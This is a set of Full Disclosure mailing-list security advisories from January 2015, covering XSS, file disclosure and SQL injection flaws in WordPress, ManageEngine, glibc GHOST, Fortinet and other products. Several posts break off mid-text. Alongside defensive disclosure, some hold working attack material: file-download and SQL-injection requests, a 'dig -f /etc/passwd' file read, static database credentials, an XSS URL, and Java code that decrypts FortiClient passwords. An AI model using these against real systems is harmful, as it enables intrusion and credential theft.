[FD] Wordpress Geo Mashup plugin <= 1.8.2 XSS vulnerability
Vulnerability title: Wordpress Geo Mashup plugin XSS Author: Paolo Perego CVE: CVE-2015-1383 Affected versions: <= 1.8.2 Fixed version: 1.8.3 (January, 11 2015) Product link: https://wordpress.org/plugins/geo-mashup/ Description Geo Mashup is a wordpress plugin designed to let you save location information with posts, pages, and other WordPress objects. These information can then be presented on interactive maps in many ways. Plugin versions before 1.8.3 suffer from a cross site scripting vulnerability when displaying search results. The search key was not properly sanitized so an attacker can eventually inject arbitrary javascript code. Fix People can use Wordpress backend provided functionalities to upgrade Wordpress Geo Mashup plugin to the latest version. Paolo -- $ cd /pub $ more beer ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] [The ManageOwnage Series, part XII]: Multiple vulnerabilities in FailOverServlet (OpManager, AppManager, IT360)
Hi, This is part 12 of the ManageOwnage series. For previous parts, see [1]. This time we have an arbitrary file download, directory content disclosure and blind SQL injection vulnerabilities in ManageEngine OpManager, Applications Manager and IT360. I've pushed two new Metasploit modules into the framework that exploit the file download and the content disclosure [2], these should hopefully be accepted soon. The full advisory text is below, and as always you can get a copy from my repo [3]. Regards, Pedro >> Multiple vulnerabilities in FailOverServlet in ManageEngine OpManager, >> Applications Manager and IT360 >> Discovered by Pedro Ribeiro (ped...@gmail.com), Agile Information Security == Disclosure: 28/01/2014 / Last updated: 28/01/2014 >> Background on the affected products: "ManageEngine OpManager is a network and data center infrastructure management software that helps large enterprises, service providers and SMEs manage their data centers and IT infrastructure efficiently and cost effectively. Automated workflows, intelligent alerting engines, configurable discovery rules, and extendable templates enable IT teams to setup a 24x7 monitoring system within hours of installation." "ManageEngine Applications Manager is a comprehensive application monitoring software used to monitor heterogeneous business applications such as web applications, application servers, web servers, databases, network services, systems, virtual systems, cloud resources, etc. It provides remote business management to the applications or resources in the network. It is a powerful tool for system and network administrators, helping them monitor any number of applications or services running in the network without much manual effort." "Managing mission critical business applications is now made easy through ManageEngine IT360. With agentless monitoring methodology, monitor your applications, servers and databases with ease. Agentless monitoring of your business applications enables you high ROI and low TOC. With integrated network monitoring and bandwidth utilization, quickly troubleshoot any performance related issue with your network and assign issues automatically with ITIL based ServiceDesk integration." >> Technical details: The affected servlet is the "FailOverHelperServlet" (affectionately called FailServlet). There are definitely more vulnerabilities than the ones identified below - for example it is possible to hijack the failover operation completely. The ones listed below as the easy ones to find and exploit. #1 Vulnerability: Arbitrary file download CVE-2014-7863 Constraints: unauthenticated in OpManager and AppManager; authenticated in IT360 Affected versions: ManageEngine Applications Manager v? to v11.Y b; ManageEngine OpManager v8 - v11.Y bX; IT360 v? to v10.5 POST /servlet/FailOverHelperServlet?operation=copyfile&fileName=C:\\boot.ini #2 Vulnerability: Information disclosure - list all files in a directory and its children CVE-2014-7863 (same as #1) Constraints: unauthenticated in OpManager and AppManager; authenticated in IT360 Affected versions: ManageEngine Applications Manager v? to v11.Y b; ManageEngine OpManager v8 - v11.Y bX; IT360 v? to v10.5 POST /servlet/FailOverHelperServlet?operation=listdirectory&rootDirectory=C:\\ #3 Vulnerability: Blind SQL injection CVE-2014-7864 Affected versions: ManageEngine OpManager v8 - v11.Y bX; IT360 v? to v10.5 Constraints: unauthenticated in OpManager; authenticated in IT360 POST /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=[SQLi_1]&serverRole=[SQLi_2] POST /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=standbyUpdateInCentral&customerName=a')%3b+create+table+bacas+(bodas+text)%3b--+&serverRole=a >> Fix: For Applications Manager, upgrade to version 11.9 b11912. For OpManager, install the patch for v11.4 and 11.5: https://support.zoho.com/portal/manageengine/helpcenter/articles/vulnerabilities-in-failoverhelperservlet Version 11.6 will be released with the patch. These vulnerabilities remain UNFIXED in IT360. [1] http://seclists.org/fulldisclosure/2014/Aug/55 http://seclists.org/fulldisclosure/2014/Aug/75 http://seclists.org/fulldisclosure/2014/Aug/88 http://seclists.org/fulldisclosure/2014/Sep/1 http://seclists.org/fulldisclosure/2014/Sep/110 http://seclists.org/fulldisclosure/2014/Nov/12 http://seclists.org/fulldisclosure/2014/Nov/18 http://seclists.org/fulldisclosure/2014/Nov/21 http://seclists.org/fulldisclosure/2014/Dec/9 http://seclists.org/fulldisclosure/2015/Jan/2 http://seclists.org/fulldisclosure/2015/Jan/5 [2] https://github.com/rapid7/metasploit-framework/pull/4658 https://github.com/rapid7/metasploit-framework/pull/4659 [3] https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt
Re: [FD] Qualys Security Advisory CVE-2015-0235 - GHOST: glibc gethostbyname buffer overflow
"Do you trust glibc? OK, perhaps that snide remark is overstating things
a bit, but secure software only happens when all the pieces have 100%
correct behavior."
KernelTrap.org, November 26, 2001
Theo De Raadt http://en.wikiquote.org/wiki/Talk:Theo_de_Raadt
On 27/01/2015 18:24, Qualys Security Advisory wrote:
>
> Qualys Security Advisory CVE-2015-0235
>
> GHOST: glibc gethostbyname buffer overflow
>
>
> --[ Contents ]
>
> 1 - Summary
> 2 - Analysis
> 3 - Mitigating factors
> 4 - Case studies
> 5 - Exploitation
> 6 - Acknowledgments
>
>
> --[ 1 - Summary ]-
>
> During a code audit performed internally at Qualys, we discovered a
> buffer overflow in the __nss_hostname_digits_dots() function of the GNU
> C Library (glibc). This bug is reachable both locally and remotely via
> the gethostbyname*() functions, so we decided to analyze it -- and its
> impact -- thoroughly, and named this vulnerability "GHOST".
>
> Our main conclusions are:
>
> - Via gethostbyname() or gethostbyname2(), the overflowed buffer is
> located in the heap. Via gethostbyname_r() or gethostbyname2_r(), the
> overflowed buffer is caller-supplied (and may therefore be located in
> the heap, stack, .data, .bss, etc; however, we have seen no such call
> in practice).
>
> - At most sizeof(char *) bytes can be overwritten (ie, 4 bytes on 32-bit
> machines, and 8 bytes on 64-bit machines). Bytes can be overwritten
> only with digits ('0'...'9'), dots ('.'), and a terminating null
> character ('\0').
>
> - Despite these limitations, arbitrary code execution can be achieved.
> As a proof of concept, we developed a full-fledged remote exploit
> against the Exim mail server, bypassing all existing protections
> (ASLR, PIE, and NX) on both 32-bit and 64-bit machines. We will
> publish our exploit as a Metasploit module in the near future.
>
> - The first vulnerable version of the GNU C Library is glibc-2.2,
> released on November 10, 2000.
>
> - We identified a number of factors that mitigate the impact of this
> bug. In particular, we discovered that it was fixed on May 21, 2013
> (between the releases of glibc-2.17 and glibc-2.18). Unfortunately, it
> was not recognized as a security threat; as a result, most stable and
> long-term-support distributions were left exposed (and still are):
> Debian 7 (wheezy), Red Hat Enterprise Linux 6 & 7, CentOS 6 & 7,
> Ubuntu 12.04, for example.
>
>
> --[ 2 - Analysis ]
>
> The vulnerable function, __nss_hostname_digits_dots(), is called
> internally by the glibc in nss/getXXbyYY.c (the non-reentrant version)
> and nss/getXXbyYY_r.c (the reentrant version). However, the calls are
> surrounded by #ifdef HANDLE_DIGITS_DOTS, a macro defined only in:
>
> - inet/gethstbynm.c
> - inet/gethstbynm2.c
> - inet/gethstbynm_r.c
> - inet/gethstbynm2_r.c
> - nscd/gethstbynm3_r.c
>
> These files implement the gethostbyname*() family, and hence the only
> way to reach __nss_hostname_digits_dots() and its buffer overflow. The
> purpose of this function is to avoid expensive DNS lookups if the
> hostname argument is already an IPv4 or IPv6 address.
>
> The code below comes from glibc-2.17:
>
> 35 int
> 36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
> 37 char **buffer, size_t *buffer_size,
> 38 size_t buflen, struct hostent **result,
> 39 enum nss_status *status, int af, int
> *h_errnop)
> 40 {
> ..
> 57 if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
> 58 {
> 59 const char *cp;
> 60 char *hostname;
> 61 typedef unsigned char host_addr_t[16];
> 62 host_addr_t *host_addr;
> 63 typedef char *host_addr_list_t[2];
> 64 host_addr_list_t *h_addr_ptrs;
> 65 char **h_alias_ptr;
> 66 size_t size_needed;
> ..
> 85 size_needed = (sizeof (*host_addr)
> 86 + sizeof (*h_addr_ptrs) + strlen (name) + 1);
> 87
> 88 if (buffer_size == NULL)
> 89 {
> 90 if (buflen < size_needed)
> 91 {
> ..
> 95 goto done;
> 96 }
> 97 }
> 98 else if (buffer_size != NULL && *buffer_size < size_needed)
> 99 {
> 100 char *new_buf;
> 101 *buffer_size = size_needed;
> 102 new_buf = (char *) realloc (*buffer, *buffer_size);
> 103
> 104 if (new_buf == NULL)
> 105 {
> ...
> 114 goto done;
> 115 }
> 116 *buffer = new_buf;
> 117 }
> ...
> 121 host_addr = (host_addr_t *) *buffer;
> 122 h_addr_ptrs = (host_addr_list_t *)
> 123 ((char *) host_addr + sizeof (*host_addr));
> 124 h_alias_ptr = (char *
[FD] AST-2015-001: File descriptor leak when incompatible codecs are offered
Asterisk Project Security Advisory - AST-2015-001 ProductAsterisk SummaryFile descriptor leak when incompatible codecs are offered Nature of Advisory Resource exhaustion SusceptibilityRemote Authenticated Sessions Severity Major Exploits KnownNo Reported On 6 January, 2015 Reported By Y Ateya Posted On 9 January, 2015 Last Updated OnJanuary 28, 2015 Advisory Contact Mark Michelson CVE Name Pending Description Asterisk may be configured to only allow specific audio or video codecs to be used when communicating with a particular endpoint. When an endpoint sends an SDP offer that only lists codecs not allowed by Asterisk, the offer is rejected. However, in this case, RTP ports that are allocated in the process are not reclaimed. This issue only affects the PJSIP channel driver in Asterisk. Users of the chan_sip channel driver are not affected. As the resources are allocated after authentication, this issue only affects communications with authenticated endpoints. Resolution The reported leak has been patched. Affected Versions Product Release Series Asterisk Open Source 1.8.x Unaffected Asterisk Open Source 11.xUnaffected Asterisk Open Source 12.xAll versions Asterisk Open Source 13.xAll versions Certified Asterisk 1.8.28 Unaffected Certified Asterisk 11.6Unaffected Corrected In Product Release Asterisk Open Source12.8.1, 13.1.1 Patches SVN URL Revision http://downloads.asterisk.org/pub/security/AST-2015-001-12.diff Asterisk 12 http://downloads.asterisk.org/pub/security/AST-2015-001-13.diff Asterisk 13 Links https://issues.asterisk.org/jira/browse/ASTERISK-24666 Asterisk Project Security Advisories are posted at http://www.asterisk.org/security This document may be superseded by later versions; if so, the latest version will be posted at http://downloads.digium.com/pub/security/AST-2015-001.pdf and http://downloads.digium.com/pub/security/AST-2015-001.html Revision History DateEditor Revisions Made 9 January, 2015 Mark Michelson Initial creation Asterisk Project Security Advisory - AST-2015-001 Copyright (c) 2015 Digium, Inc. All Rights Reserved. Permission is hereby granted to distribute and publish this advisory in its original, unaltered form. ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] AST-2015-002: Mitigation for libcURL HTTP request injection vulnerability
Asterisk Project Security Advisory - AST-2015-002 ProductAsterisk SummaryMitigation for libcURL HTTP request injection vulnerability Nature of Advisory HTTP request injection SusceptibilityRemote Authenticated Sessions Severity Major Exploits KnownNo Reported On 12 January, 2015 Reported By Olle Johansson Posted On January 12, 2015 Last Updated OnJanuary 28, 2015 Advisory Contact Mark Michelson CVE Name N/A. Description CVE-2014-8150 reported an HTTP request injection vulnerability in libcURL. Asterisk uses libcURL in its func_curl.so module (the CURL() dialplan function), as well as its res_config_curl.so (cURL realtime backend) modules. Since Asterisk may be configured to allow for user-supplied URLs to be passed to libcURL, it is possible that an attacker could use Asterisk as an attack vector to inject unauthorized HTTP requests if the version of libcURL installed on the Asterisk server is affected by CVE-2014-8150. Resolution Asterisk has been patched with a similar patch as libcURL was for CVE-2014-8150. This means that carriage return and linefeed characters are forbidden from being in HTTP URLs that will be passed to libcURL. Affected Versions Product Release Series Asteris Open Source 1.8.x All versions Asterisk Open Source 11.xAll versions Asterisk Open Source 12.xAll versions Asterisk Open Source 13.xAll versions Certified Asterisk 1.8.28 All versions Certified Asterisk 11.6All versions Corrected In Product Release Asterisk Open Source 1.8.32.2, 11.15.1, 12.8.1, 13.1.1 Certified Asterisk 1.8.28-cert4, 11.6-cert10 Patches SVN URL Revision http://downloads.asterisk.org/pub/security/AST-2015-002-1.8.28.diff Certified Asterisk 1.8.28 http://downloads.asterisk.org/pub/security/AST-2015-002-11.6.diff Certified Asterisk 11.6 http://downloads.asterisk.org/pub/security/AST-2015-002-1.8.diffAsterisk 1.8 http://downloads.asterisk.org/pub/security/AST-2015-002-11.diff Asterisk 11 http://downloads.asterisk.org/pub/security/AST-2015-002-12.diff Asterisk 12 http://downloads.asterisk.org/pub/security/AST-2015-002-13.diff Asterisk 13 Links https://issues.asterisk.org/jira/browse/ASTERISK-24676 Asterisk Project Security Advisories are posted at http://www.asterisk.org/security This document may be superseded by later versions; if so, the latest version will be posted at http:
[FD] Vulnerabilities in HP LaserJet
Hello list! There are Information Leakage and Insufficient Authorization vulnerabilities in HP LaserJet. Vulnerabilities are in control panel of HP network MFP and printers. Earlier I informed HP about it. You can read articles in BBC (http://seclists.org/fulldisclosure/2014/Dec/98) and Global Voices (http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2014-December/009067.html) about my attacks on network printers of terrorists in Eastern Ukraine and in Russia. - Affected products: - Vulnerable are HP network MFP and printers with firmware 20130415 and previous versions. Such as in LaserJet 400 MFP M425dn and HP LaserJet M1522n MFP. -- Details: -- Information Leakage (WASC-13): http://site/info_deviceStatus.html There is access without authorization to information about all settings of the printer (read only, but it's possible to find printers with possibility to change settings). Insufficient Authorization (WASC-02): In section "Print Information Pages" it's possible to print test documents without authorization. Thus without login and password it's possible to waste paper and cartridge of the printer. http://site/info_specialPages.html?tab=Home&menu=InfoPages I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/7589/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] KL-001-2015-001 : Windows 2003 tcpip.sys Privilege Escalation
KL-001-2015-001 : Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation Title: Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation Advisory ID: KL-001-2015-001 Publication Date: 2015.01.28 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt 1. Vulnerability Details Affected Vendor: Microsoft Affected Product: TCP/IP Protocol Driver Affected Version: 5.2.3790.4573 Platform: Microsoft Windows Server 2003 Service Pack 2 Architecture: x86, x64, Itanium Impact: Privilege Escalation Attack vector: IOCTL CVE-ID: CVE-2014-4076 2. Vulnerability Description The tcpip.sys driver fails to sufficiently validate memory objects used during the processing of a user-provided IOCTL. 3. Technical Description By crafting an input buffer that will be passed to the Tcp device through the NtDeviceIoControlFile() function, it is possible to trigger a vulnerability that would allow an attacker to elevate privileges. This vulnerability was discovered while fuzzing the tcpip.sys driver. A collection of IOCTLs that could be targeted was obtained and subsequently fuzzed. During this process, one of the crashes obtained originated from the IOCTL 0x00120028. This was performed on an x86 installation of Windows Server 2003, Service Pack 2. ErrCode = eax= ebx=859ef888 ecx=0008 edx=0100 esi= edi=80a58270 eip=f67ebbbd esp=f620a9c8 ebp=f620a9dc iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs= efl=00010246 tcpip!SetAddrOptions+0x1d: f67ebbbd 8b5e28 mov ebx,dword ptr [esi+28h] ds:0023:0028= A second chance exception has occurred during a mov instruction. This instruction is attempting to copy a pointer value from an un-allocated address space. Since no pointer can be found, an exception is generated. Let's begin by reviewing the call stack: kd> kv *** Stack trace for last set context - .thread/.cxr resets it ChildEBP RetAddr Args to Child f620a9dc f67e416b f620aa34 0022 0004 tcpip!SetAddrOptions+0x1d (FPO: [Non-Fpo]) f620aa10 f67e40de f620aa34 859ef888 859ef8a0 tcpip!TdiSetInformationEx+0x539 (FPO: [Non-Fpo]) f620aa44 f67e3b24 85a733d0 85a73440 85a73440 tcpip!TCPSetInformationEx+0x8c (FPO: [Non-Fpo]) f620aa60 f67e3b51 85a733d0 85a73440 85a733d0 tcpip!TCPDispatchDeviceControl+0x149 (FPO: [Non-Fpo]) f620aa98 8081d7d3 85c4b410 85a733d0 85e82390 tcpip!TCPDispatch+0xf9 (FPO: [Non-Fpo]) f620aaac 808ef85d 85a73440 85e82390 85a733d0 nt!IofCallDriver+0x45 (FPO: [Non-Fpo]) f620aac0 808f05ff 85c4b410 85a733d0 85e82390 nt!IopSynchronousServiceTail+0x10b (FPO: [Non-Fpo]) f620ab5c 808e912e 06f4 nt!IopXxxControlFile+0x5e5 (FPO: [Non-Fpo]) f620ab90 f55c10fa 06f4 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo]) The nt!NtDeviceIoControlFile() function was called, creating a chain of subsequent function calls that eventually led to the tcpip!SetAddrOptions() function being called. By de-constructing the call to nt!NtDeviceIoControlFile() we can derive all required information to re-create this exception. 0a b940dd34 80885614 nt!NtDeviceIoControlFile+0x2a eax= ebx=8c785070 ecx= edx= esi= edi= eip=808e912e esp=b940dd08 ebp=b940dd34 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs= efl=00010246 nt!NtDeviceIoControlFile+0x2a: 808e912e 5d pop ebp kd> db [ebp+2C] L?0x4 b940dd60 00 00 00 00 kd> db [ebp+28] L?0x4 b940dd5c 00 00 00 00 kd> db [ebp+24] L?0x4 b940dd58 20 00 00 00 ... kd> db [ebp+20] L?0x4 b940dd54 00 11 00 00 kd> db [ebp+1c] L?0x4 b940dd50 28 00 12 00 (... kd> db [ebp+18] L?0x4 b940dd4c 58 4f bd 00 XO.. kd> db [ebp+14] L?0x4 b940dd48 00 00 00 00 kd> db [ebp+10] L?0x4 b940dd44 00 00 00 00 kd> db [ebp+0c] L?0x4 b940dd40 00 00 00 00 kd> db [ebp+8] L?0x4 b940dd3c b8 06 00 00 The inputBuffer for this call references memory at 0x1000 with a length of 0x20. kd> db 0x1100 L?0x20 1100 00 04 00 00 00 00 00 00-00 02 00 00 00 02 00 00 1110 22 00 00 00 04 00 00 0
Re: [FD] CVE-2015-1169 - CAS Server 3.5.2 allows remote attackers to bypass LDAP authentication via crafted wildcards.
This CVE claims CAS has a vulnerability that "allows remote attackers to bypass LDAP authentication via crafted wildcards". My understanding of an "authentication bypass" vulnerability is one that actually bypasses authentication, accessing a resource without having to authenticate, as enumerated at http://cwe.mitre.org/data/definitions/592.html The actual vulnerability here is that if you are using the LDAP authenticator that does a search for the supplied username and then authenticates against the DN returned (as opposed to the LDAP authenticator that directly constructs a bind DN from the username), it does not properly escape wildcards in the supplied username when it does the search, allowing you to authenticate with a username consisting of a wildcard that matches the username *AND* the valid password for that username. In addition, the supplied wildcard must match one and only one entry in the ldap directory, as authentication will fail otherwise. I don't think this is in any way an authentication bypass. Authentication is being performed with an (almost valid) username and a valid password, and while the issue does allow you to use a username that's not an exact match, it still requires you to know the correct password for that username and for the "not exact" match to be so specific as to only match one user. On Wed, Jan 21, 2015 at 12:49:38PM -0200, J. Tozo wrote: > =[Alligator Security Team - Security Advisory] > > CVE-2015-1169 - CAS Server 3.5.2 allows remote attackers to bypass LDAP > authentication via crafted wildcards. > > Reporter: José Tozo < juniorbsd () gmail com > > > =[Table of Contents]== > > 1. Background > 2. Detailed description > 3. Other contexts & solutions > 4. Timeline > 5. References > > =[1. Background]== > > CAS is an authentication system originally created by Yale University to > provide a trusted way for an application to authenticate a user. > > =[2. Detailed description] > > A valid username and password required. > > Given a username johndoe and a password superpass, you can sucessfully > achieve login using wildcards: > > username: jo* > password: superpass > > The login will be sucessfully only if the ldap bind search return one > unique member. > > The vulnerability described in this document can be validated using the > following example: > > Client Request: > root@machine:/# curl -k -L -d "username=jo%2A&password=superpass" > https://login.cas-server.com/v1/tickets > > (note that * was url encoded to %2A) > > > > > 201 The request has been fulfilled and resulted in a new > resource being created > > > TGT Created > https://xxx.xxx.xxx.xxx/v1/tickets/TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz"; > method="POST">Service: type="submit" value="Submit"> > > > > Server log: > = > WHO: [username: jo*] > WHAT: TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz > ACTION: TICKET_GRANTING_TICKET_CREATED > APPLICATION: CAS > WHEN: Tue Jan 20 18:38:17 BRST 2015 > CLIENT IP ADDRESS: xxx.xxx.xxx.xxx > SERVER IP ADDRESS: xxx.xxx.xxx.xxx > = > > =[3. Other contexts & solutions]== > > In order to apply the patch, you have to update at least to version 3.5.3. > Newer versions, such as CAS 4.0.0 and above, are not vulnerable. > > =[4. Timeline] > > 29/12/14 Vendor notification. > 14/01/15 Vendor rolled out new version 3.5.3 > 17/01/15 Mitre assigned CVE-2015-1169. > 21/01/15 Disclosure date. > > =[5. References]=== > > 1 - https://github.com/Jasig/cas/pull/411 > 2 - > https://github.com/Jasig/cas/commit/7de61b4c6244af9ff8e75a2c92a570f3b075309c > > -- > Grato, > > Tozo ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] AirWatch Multiple Direct Object References
(, ) (,
. '.' ) ('.',
). , ('. ( ) (
(_,) .'), ) _ _,
/ _/ / _ \ _
\ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ |\\ \__( <_> ) Y Y \
/__ /\___|__ / \___ >/|__|_| /
\/ \/.-.\/ \/:wq
(x.0)
'=.|w|.='
_=''"''=.
presents..
AirWatch Multiple Direct Object References
Affected Versions: AirWatch by VMware Cloud Console 7.3.1.0
AirWatch by VMware on-premise 7.3.x.x prior to 7.3.3.0 (FP3)
CVE Number: CVE-2014-8372
PDF:
http://www.security-assessment.com/files/documents/advisory/Airwatch_Multiple_Direct_Object_Reference_Vulnerabilities.pdf
+-+
| Description |
+-+
Multiple direct object reference vulnerabilities were found within the
AirWatch cloud console. VMWare advised that these issues also affect
on-premise AirWatch deployments. A malicious AirWatch user may leverage
several direct object references to gain access to information regarding other
AirWatch customers using the AirWatch cloud. This includes viewing groups and
downloading private APKs belonging to other organisations.
+--+
| Exploitation |
+--+
Detailed exploitation information is available in the PDF version of this
advisory, available at http://www.security-assessment.com
+--+
| Solution |
+--+
The AirWatch cloud based solution has been patched by VMware. The on-premises
deployment was also susceptible to the above attacks. On-premises users should
update to the latest version of AirWatch. VMware have published a detailed
advisory, including patch and mitigation information, at the following URL:
http://www.vmware.com/security/advisories/VMSA-2014-0014.html
+-+
| Disclosure Timeline |
+-+
29/10/2014 - Initial email to AirWatch support staff.
03/11/2014 - Advisory released to AirWatch
05/11/2014 - Advisory acknowledged by VMWare Security Response Center,
advised cloud solution will be patched within 48 hours.
10/12/2014 - VMWare releases patch and advisory.
29/01/2015 - Release of this document.
+---+
| About Security-Assessment.com |
+---+
Security-Assessment.com is Australasia's leading team of Information Security
consultants specialising in providing high quality Information Security
services to clients throughout the Asia Pacific region. Our clients include
some of the largest globally recognised companies in areas such as finance,
telecommunications, broadcasting, legal and government. Our aim is to provide
the very best independent advice and a high level of technical expertise while
creating long and lasting professional relationships with our clients.
Security-Assessment.com is committed to security research and development,
and its team continues to identify and responsibly publish vulnerabilities
in public and private software vendor's products. Members of the
Security-Assessment.com R&D team are globally recognised through their release
of whitepapers and presentations related to new security research.
For further information on this issue or any of our service offerings,
contact us:
Web www.security-assessment.com
Email info () security-assessment com
Phone +64 4 470 1650
___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Fortinet FortiAuthenticator Multiple Vulnerabilities
(, ) (,
. '.' ) ('.',
). , ('. ( ) (
(_,) .'), ) _ _,
/ _/ / _ \ _
\ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ |\\ \__( <_> ) Y Y \
/__ /\___|__ / \___ >/|__|_| /
\/ \/.-.\/ \/:wq
(x.0)
'=.|w|.='
_=''"''=.
presents..
Fortinet FortiAuthenticator Multiple Vulnerabilities
Affected Versions: Verified on FortiAuthenticator v300 build 0007
PDF:
http://www.security-assessment.com/files/documents/advisory/Fortinet_FortiAuthenticator_Multiple_Vulnerabilities.pdf
+-+
| Description |
+-+
This advisory details multiple vulnerabilities found within the Fortinet
FortiAuthenticator virtual appliance. The FortiAuthenticator is a user
identity management appliance, supporting two factor authentication, RADIUS,
LDAP, 802.1x Wireless Authentication, Certificate management and single sign
on.
The FortiAuthenticator appliance was found to contain a subshell bypass
vulnerability, allowing remote administrators to gain root level access via
the command line. Local file and password disclosure vulnerabilities were
discovered, as well as a Reflected Cross Site Scripting vulnerability within
the SCEP system.
+--+
| Exploitation |
+--+
--[ dbgcore_enable_shell_access Subshell Bypass
By logging into the Fortinet Authenticator and executing the ‘shell’ command,
a malicious user can gain a root /bin/bash shell on the server. However,
unless the /tmp/privexec/dbgcore_enable_shell_access file exists (the contents
of this file are irrelevant), then the command returns ‘shell: No such
command.' If the file is present, then the command succeeds and a root shell
is given.
The ‘/tmp/privexec/dbgcore_enable_shell_access’ file can be created by using
the ‘load-debug-kit’ command and specifying a network accessible tftp server
with the relevant debug kit. The debug kits were found to be generated by an
internal Fortinet tool called ‘mkprivexec’. The ‘load-debug-kit’ command
expects encrypted binaries which are subsequently executed.
An attacker that can either generate a valid debug kit or create the
appropriate file in /tmp/privexec can therefore get a root shell. This is
likely a workaround for CVE-2013-6990, however an attacker can still obtain
root level command line access with some additional steps.
--[ Local File Disclosure
A malicious user can pass the ‘-f’ flag to the ‘dig’ command and read files
from the filesystem. An example would be executing 'dig -f /etc/passwd' and
observing the dig commands output, retrieving the /etc/passwd files contents.
--[ Password Disclosure
A malicious user may use the debug logging functionality within the Fortinet
FortiAuthenticator administrative console to obtain the passwords of the
PostgreSQL database users. The disclosed passwords were found to be weak and
are static across Fortinet FortiAuthenticator appliances. The following
credentials were enumerated:
+-+
|Username:Password|
+-+
| slony : slony |
|www-data:www-data|
+-+
--[ Reflected Cross Site Scripting
By coercing a legitimate user (usually through a social engineering attack) to
visit a specific FortiAuthenticator URL, an attacker may execute malicious
JavaScript in the context of the user’s browser. This can subsequently be used
to harm the user’s browser or hijack their session. This is due to the
‘operation’ parameter in the SCEP service being reflected to the end user
without sufficient input validation and output scrubbing. The following
URL can be used to replicate the Reflected Cross Site Scripting vulnerability:
https:///cert/scep/?operation=alert(1)
+--+
| Solution |
+--+
No official solution is currently available for these vulnerabilities. Email
correspondence with Fortinet suggests that the Local File Disclosure and
Password Disclosure vulnerabilities have been resolved in version 3.2. No
official documentation was found to confirm this.
+-+
| Disclosure Timeline |
+-+
08/10/2014 -Initial email sent to Fortinet PSIRT team.
09/10/2014 -Advisory documents sent to Fortinet.
15/10/2014 -Acknowledgement of advisories from Fortinet.
16/10/2014 -Fortinet advised the Local File and Password disclosure issues
would be resolved in the 3.2 release.
31/10/2014 -Additional information sent to Fortinet RE Reflected XSS
03/11/2014 -Additional information sent to Fortinet RE Reflected XSS
02/12/2014 -Update requested from Fortinet.
13/12/2014 -Update requested from Fortinet.
29/01/2015 -Advisory Release.
+---+
| About Security-Assessment.com |
+---+
Security-Assessment.com is Australasia's leading team of Information Security
consultants specialising in providing high quality Information Security
[FD] Fortinet FortiClient Multiple Vulnerabilities
(, ) (,
. '.' ) ('.',
). , ('. ( ) (
(_,) .'), ) _ _,
/ _/ / _ \ _
\ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ |\\ \__( <_> ) Y Y \
/__ /\___|__ / \___ >/|__|_| /
\/ \/.-.\/ \/:wq
(x.0)
'=.|w|.='
_=''"''=.
presents..
Fortinet FortiClient Multiple Vulnerabilities
Affected Versions: Verified on FortiClient iOS v5.2.028 and FortiClient Android
5.2.3.091
PDF:
http://www.security-assessment.com/files/documents/advisory/Fortinet_FortiClient_Multiple_Vulnerabilities.pdf
+-+
| Description |
+-+
This advisory details multiple vulnerabilities found within the Fortinet
FortiClient mobile applications. Forticlient is an endpoint security suite,
intended to provide an all-in-one security solution.
Both the Android and iOS applications did not check the validity of SSL
certificates, allowing an attacker performing a Man-In-The-Middle
attack to gain access to sensitive information such as SSL VPN credentials and
mobile device details.
Hard coded encryption keys were discovered within the Android application.
These encryption keys were found to be used to encrypt sensitive data stored
within the application’s Shared Preferences. As this key does not change per
instance, the decrypt code from an instance of a Forticlient application can
be used to retrieve the passwords from any other Android Forticlient
globally.
+--+
| Exploitation |
+--+
--[ Hardcoded Encryption Keys
After decompiling the FortiClient Android application, the ‘qm’ class was
found to contain a hard coded private string ‘KEY’. The character array was
found to contain "FoRtInEt!AnDrOiD". This key is used to encrypt and decrypt
saved passwords, stored within the application's shared preferences. The
following Java code can be used to decrypt Android Forticlient shared
preference parameter encrypted in this manner.
import java.util.Locale;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public final class aa
{
private static final String KEY = new String(new char[] { 70, 111, 82, 116,
73, 110, 69, 116, 33, 65, 110, 68, 114, 79, 105, 68 });
public static void main(String[] args){
String crypted = "F3792242D92707AD537AACF429D8E28A";
System.out.println("Encrypted String:" + crypted);
System.out.println("Decrypted String:" + decrypt(crypted));
}
public static String decrypt(String paramString)
{
try
{
byte[] arrayOfByte = new byte[paramString.length() / 2];
for (int i = 0; paramString.length() / 2 > i; i++)
{
int j = Integer.parseInt(paramString.substring(i * 2, 1 + i * 2), 16);
arrayOfByte[i] = ((byte)(Integer.parseInt(paramString.substring(1 + i
* 2, 2 + i * 2), 16) + j * 16));
}
IvParameterSpec localIvParameterSpec = new IvParameterSpec(new byte[] {
